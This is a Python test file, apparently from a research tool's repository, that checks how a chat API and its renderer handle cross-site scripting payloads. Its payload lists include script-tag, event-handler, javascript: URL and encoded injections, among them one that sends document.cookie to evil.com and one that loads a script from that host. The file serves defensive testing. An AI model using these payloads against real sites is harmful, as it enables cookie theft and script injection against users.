Files
wehub-resource-sync 7a0da7932b
OSV-Scanner (Scheduled) / scan-scheduled (push) Failing after 0s
Create Release / test-gate (push) Has been cancelled
Create Release / release-gate (push) Has been cancelled
Create Release / ci-gate (push) Has been cancelled
Create Release / version-check (push) Has been cancelled
Create Release / e2e-test-gate (push) Has been cancelled
Create Release / responsive-test-gate (push) Has been cancelled
Create Release / compat-test-gate (push) Has been cancelled
Create Release / compose-integration-gate (push) Has been cancelled
Create Release / vulture-gate (push) Has been cancelled
Create Release / build (push) Has been cancelled
Create Release / provenance (push) Has been cancelled
Create Release / prerelease-docker (push) Has been cancelled
Create Release / publish-docker (push) Has been cancelled
Create Release / create-release (push) Has been cancelled
Create Release / cleanup-changelog (push) Has been cancelled
Create Release / trigger-pypi (push) Has been cancelled
Create Release / monitor-pypi (push) Has been cancelled
Create Release / Clean up orphan prerelease tags and signatures (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [research-form] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [research-metrics] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [research-workflow] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [settings-core] (push) Has been cancelled
CodeQL Advanced / Analyze (javascript-typescript) (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [history-news] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [library] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [link-analytics] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [chat-core] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [chat-lifecycle] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [error-benchmark] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [settings-pages] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) (push) Has been cancelled
Docker Tests (Consolidated) / Accessibility Tests (push) Has been cancelled
Docker Tests (Consolidated) / LLM Unit Tests (push) Has been cancelled
Docker Tests (Consolidated) / LLM Example Tests (push) Has been cancelled
Docker Tests (Consolidated) / Production Image Smoke Test (push) Has been cancelled
Docker Tests (Consolidated) / Infrastructure Tests (push) Has been cancelled
OSSF Scorecard / OSSF Security Scorecard Analysis (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [mobile] (push) Has been cancelled
Backwards Compatibility / Verify Encryption Constants (push) Has been cancelled
Backwards Compatibility / PyPI Version Compatibility (push) Has been cancelled
Backwards Compatibility / Database Migration Tests (push) Has been cancelled
CodeQL Advanced / Analyze (python) (push) Has been cancelled
Docker Tests (Consolidated) / detect-changes (push) Has been cancelled
Docker Tests (Consolidated) / Build Test Image (push) Has been cancelled
Docker Tests (Consolidated) / All Pytest Tests + Coverage (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [accessibility] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [api-crud] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [auth-login] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [auth-pages] (push) Has been cancelled
Docker Tests (Consolidated) / UI Tests (Puppeteer) [auth-register] (push) Has been cancelled
chore: import upstream snapshot with attribution
2026-07-13 13:08:55 +08:00

439 lines
16 KiB
Python

"""
XSS prevention tests for chat feature.
Verifies that XSS payloads are handled safely in chat content,
preventing cross-site scripting attacks.
"""
import json
import pytest
# =============================================================================
# XSS Payload Collections
# =============================================================================
# Common XSS payloads for testing
SCRIPT_TAG_PAYLOADS = [
"<script>alert('XSS')</script>",
"<script>alert(document.cookie)</script>",
"<SCRIPT>alert('XSS')</SCRIPT>",
"<script src='http://evil.com/xss.js'></script>",
"<script type='text/javascript'>alert('XSS')</script>",
"<script>document.location='http://evil.com/?c='+document.cookie</script>",
]
EVENT_HANDLER_PAYLOADS = [
"<img src=x onerror=alert('XSS')>",
"<img src=x onerror='alert(1)'>",
"<svg onload=alert('XSS')>",
"<body onload=alert('XSS')>",
"<div onmouseover=alert('XSS')>hover me</div>",
"<input onfocus=alert('XSS') autofocus>",
"<iframe onload=alert('XSS')>",
"<video onerror=alert('XSS')><source></video>",
"<marquee onstart=alert('XSS')>",
"<object onerror=alert('XSS')>",
]
JAVASCRIPT_URL_PAYLOADS = [
"<a href='javascript:alert(1)'>Click me</a>",
"<a href=javascript:alert('XSS')>link</a>",
"<iframe src='javascript:alert(1)'></iframe>",
"<object data='javascript:alert(1)'></object>",
"<embed src='javascript:alert(1)'>",
"<form action='javascript:alert(1)'><input type=submit></form>",
]
NESTED_XSS_PAYLOADS = [
"<<script>script>alert('XSS')<</script>/script>",
"<scr<script>ipt>alert('XSS')</scr</script>ipt>",
"<img src=x onerror=<script>alert(1)</script>>",
"<<SCRIPT>alert('XSS');//<</SCRIPT>",
"<script>alert('XS<script>S')</script>",
]
ENCODED_XSS_PAYLOADS = [
"&#60;script&#62;alert('XSS')&#60;/script&#62;", # HTML entities
"%3Cscript%3Ealert('XSS')%3C/script%3E", # URL encoded
"\\x3cscript\\x3ealert('XSS')\\x3c/script\\x3e", # Hex encoded
"\u003cscript\u003ealert('XSS')\u003c/script\u003e", # Unicode
]
DATA_URL_PAYLOADS = [
"<a href='data:text/html,<script>alert(1)</script>'>click</a>",
"<iframe src='data:text/html,<script>alert(1)</script>'></iframe>",
"<object data='data:text/html,<script>alert(1)</script>'></object>",
]
# =============================================================================
# Content Sanitization Tests
# =============================================================================
class TestChatContentSanitization:
"""Tests verifying XSS payloads are sanitized in chat content."""
@pytest.mark.parametrize("payload", SCRIPT_TAG_PAYLOADS)
def test_script_tags_handled_in_message(
self, payload, authenticated_client
):
"""Test that script tags in messages are handled safely."""
# Create session
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": "Test"},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
# Send message with XSS payload
response = authenticated_client.post(
f"/api/chat/sessions/{session_id}/messages",
json={"content": payload, "trigger_research": False},
content_type="application/json",
)
# Message should be accepted (we don't reject content, just escape it)
assert response.status_code == 200
# Retrieve the message
messages_resp = authenticated_client.get(
f"/api/chat/sessions/{session_id}/messages"
)
messages = json.loads(messages_resp.data)["messages"]
# Find our message (should be the last one)
user_messages = [m for m in messages if m["role"] == "user"]
assert len(user_messages) > 0
# API layer stores raw content; sanitization happens at display layer
# Verify the content is stored exactly as submitted (not silently dropped)
last_message = user_messages[-1]
assert last_message["content"] == payload
@pytest.mark.parametrize("payload", EVENT_HANDLER_PAYLOADS)
def test_event_handlers_handled_in_message(
self, payload, authenticated_client
):
"""Test that event handlers in messages are handled safely."""
# Create session
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": "Test"},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
# Send message with XSS payload
response = authenticated_client.post(
f"/api/chat/sessions/{session_id}/messages",
json={"content": payload, "trigger_research": False},
content_type="application/json",
)
assert response.status_code == 200
@pytest.mark.parametrize("payload", JAVASCRIPT_URL_PAYLOADS)
def test_javascript_urls_handled_in_message(
self, payload, authenticated_client
):
"""Test that javascript: URLs in messages are handled safely."""
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": "Test"},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
response = authenticated_client.post(
f"/api/chat/sessions/{session_id}/messages",
json={"content": payload, "trigger_research": False},
content_type="application/json",
)
assert response.status_code == 200
@pytest.mark.parametrize("payload", NESTED_XSS_PAYLOADS)
def test_nested_xss_payloads_handled(self, payload, authenticated_client):
"""Test that nested/evasion XSS payloads are handled safely."""
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": "Test"},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
response = authenticated_client.post(
f"/api/chat/sessions/{session_id}/messages",
json={"content": payload, "trigger_research": False},
content_type="application/json",
)
assert response.status_code == 200
class TestSessionTitleSanitization:
"""Tests verifying XSS payloads are sanitized in session titles."""
@pytest.mark.parametrize(
"payload",
SCRIPT_TAG_PAYLOADS[:3] + EVENT_HANDLER_PAYLOADS[:3],
)
def test_xss_in_session_title(self, payload, authenticated_client):
"""Test that XSS payloads in session titles are handled safely."""
# Create session with XSS in initial query (becomes title)
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": payload},
content_type="application/json",
)
assert create_resp.status_code == 200
session_id = json.loads(create_resp.data)["session_id"]
# Verify session was created
session_resp = authenticated_client.get(
f"/api/chat/sessions/{session_id}"
)
assert session_resp.status_code == 200
@pytest.mark.parametrize(
"payload",
SCRIPT_TAG_PAYLOADS[:3] + EVENT_HANDLER_PAYLOADS[:3],
)
def test_xss_in_title_update(self, payload, authenticated_client):
"""Test that XSS payloads in title updates are handled safely."""
# Create session
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": "Normal query"},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
# Update title with XSS payload
update_resp = authenticated_client.patch(
f"/api/chat/sessions/{session_id}",
json={"title": payload},
content_type="application/json",
)
# Should either accept (and escape on display) or reject
assert update_resp.status_code in [200, 400]
class TestContextManagerXSS:
"""Tests verifying XSS handling in context manager."""
def test_xss_in_messages_handled_in_context(self):
"""Test that XSS in messages doesn't affect context building."""
from src.local_deep_research.chat.context import ChatContextManager
messages = [
{
"id": "msg-1",
"role": "user",
"content": "<script>alert('XSS')</script>",
"message_type": "query",
"research_id": None,
},
{
"id": "msg-2",
"role": "assistant",
"content": "Response with <img onerror=alert(1)>",
"message_type": "response",
"research_id": "research-1",
},
]
manager = ChatContextManager("test-session", messages, {})
# Context building should not crash
context = manager.build_research_context()
assert isinstance(context, dict)
# Findings store the raw content as-is (escaping is the UI layer's job)
assert "<img onerror=alert(1)>" in context["accumulated_findings"]
def test_xss_in_accumulated_context(self):
"""Test that XSS in accumulated context is handled safely."""
from src.local_deep_research.chat.context import ChatContextManager
accumulated = {
"key_entities": [
"<script>alert('XSS')</script>",
"normal entity",
],
"topics": ["<img onerror=alert(1)>"],
"summary": "<svg onload=alert(1)> summary text",
}
manager = ChatContextManager("test-session", [], accumulated)
# Should handle without crashing
entities = manager._get_key_entities()
_topics = manager._get_topics() # noqa: F841
assert "<script>" in entities[0] # Stored as-is, escaped on display
assert "normal entity" in entities
class TestAPIResponseSafety:
"""Tests verifying API responses don't execute XSS."""
def test_json_response_safe_from_xss(self, authenticated_client):
"""Test that JSON responses are safe from XSS injection."""
# Create session with XSS payload
payload = "<script>alert('XSS')</script>"
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": payload},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
# Get session
session_resp = authenticated_client.get(
f"/api/chat/sessions/{session_id}"
)
# Response should be JSON
assert session_resp.content_type.startswith("application/json")
# JSON responses are inherently safe from XSS when parsed as JSON
# The browser won't execute scripts in JSON content
data = json.loads(session_resp.data)
assert data["success"] is True
def test_content_type_prevents_html_interpretation(
self, authenticated_client
):
"""Test that Content-Type prevents HTML interpretation."""
# Make a request that returns data with XSS
response = authenticated_client.get("/api/chat/sessions")
# Content-Type must be application/json, not text/html
assert "application/json" in response.content_type
assert "text/html" not in response.content_type
class TestInputLengthLimits:
"""Tests verifying input length limits prevent XSS amplification."""
def test_message_length_limit_enforced(self, authenticated_client):
"""Test that message content length is limited."""
# Create session
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": "Test"},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
# Try to send a very long message (potential XSS amplification)
long_payload = "<script>alert(1)</script>" * 10000 # ~280KB
response = authenticated_client.post(
f"/api/chat/sessions/{session_id}/messages",
json={"content": long_payload, "trigger_research": False},
content_type="application/json",
)
# Should be rejected if exceeds limit
# The limit in routes.py is MAX_MESSAGE_LENGTH = 10_000
if len(long_payload) > 10000:
assert response.status_code == 400
data = json.loads(response.data)
assert "too long" in data["error"].lower()
def test_title_length_limit_enforced(self, authenticated_client):
"""Test that session title length is limited."""
# Create session
create_resp = authenticated_client.post(
"/api/chat/sessions",
json={"initial_query": "Test"},
content_type="application/json",
)
session_id = json.loads(create_resp.data)["session_id"]
# Try to update with a very long title
long_title = "<script>alert(1)</script>" * 100 # ~2600 chars
response = authenticated_client.patch(
f"/api/chat/sessions/{session_id}",
json={"title": long_title},
content_type="application/json",
)
# Should be rejected if exceeds 500 char limit
assert response.status_code == 400
data = json.loads(response.data)
assert "too long" in data["error"].lower()
# =============================================================================
# Render-time escaping (H_TEST2)
# =============================================================================
class TestRenderTimeEscaping:
"""Verify the *display* layer escapes/sanitises stored payloads.
The other tests in this module prove XSS payloads are stored verbatim
(the API deliberately does not reject them). That alone is only safe if
the render layer escapes them. These tests assert the two render legs:
1. Server-side Jinja2 autoescape — guards the regression the audit
flagged: "if autoescape were ever disabled it would land silently".
2. Client-side render path — guards that chat message content keeps
flowing through the DOMPurify-backed ``renderMarkdown`` (or a
``textContent`` fallback) and is never assigned raw to ``innerHTML``.
The live in-browser DOMPurify behaviour itself needs Puppeteer coverage
(tracked alongside P2_UITEST1); this static guard catches the common
regression of swapping the sanitised path for a raw ``innerHTML``.
"""
@pytest.mark.parametrize(
"payload",
[
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<a href='javascript:alert(1)'>x</a>",
],
)
def test_jinja2_autoescape_escapes_payload(self, app, payload):
"""A script/HTML payload rendered through the app's Jinja2 env is
HTML-escaped, not emitted raw."""
from flask import render_template_string
with app.test_request_context():
rendered = render_template_string("{{ value }}", value=payload)
# The raw tag must not survive; the escaped form must be present.
assert "<script>" not in rendered
assert "<img" not in rendered
assert "&lt;" in rendered
# Autoescape must be active app-wide (the silent-disable guard).
assert app.jinja_env.autoescape is not False
def test_chat_render_path_stays_sanitised(self):
"""The chat message renderer must route content through the
DOMPurify-backed ``renderMarkdown`` with a ``textContent`` fallback,
and never assign message content raw to ``innerHTML``."""
from pathlib import Path
chat_js = (
Path(__file__).resolve().parents[2]
/ "src/local_deep_research/web/static/js/components/chat.js"
)
source = chat_js.read_text(encoding="utf-8")
# Sanitised render + safe fallback are both wired in.
assert "window.ui.renderMarkdown(content)" in source
assert "textEl.textContent = content" in source
# No raw, unsanitised assignment of message content to innerHTML.
assert "innerHTML = content" not in source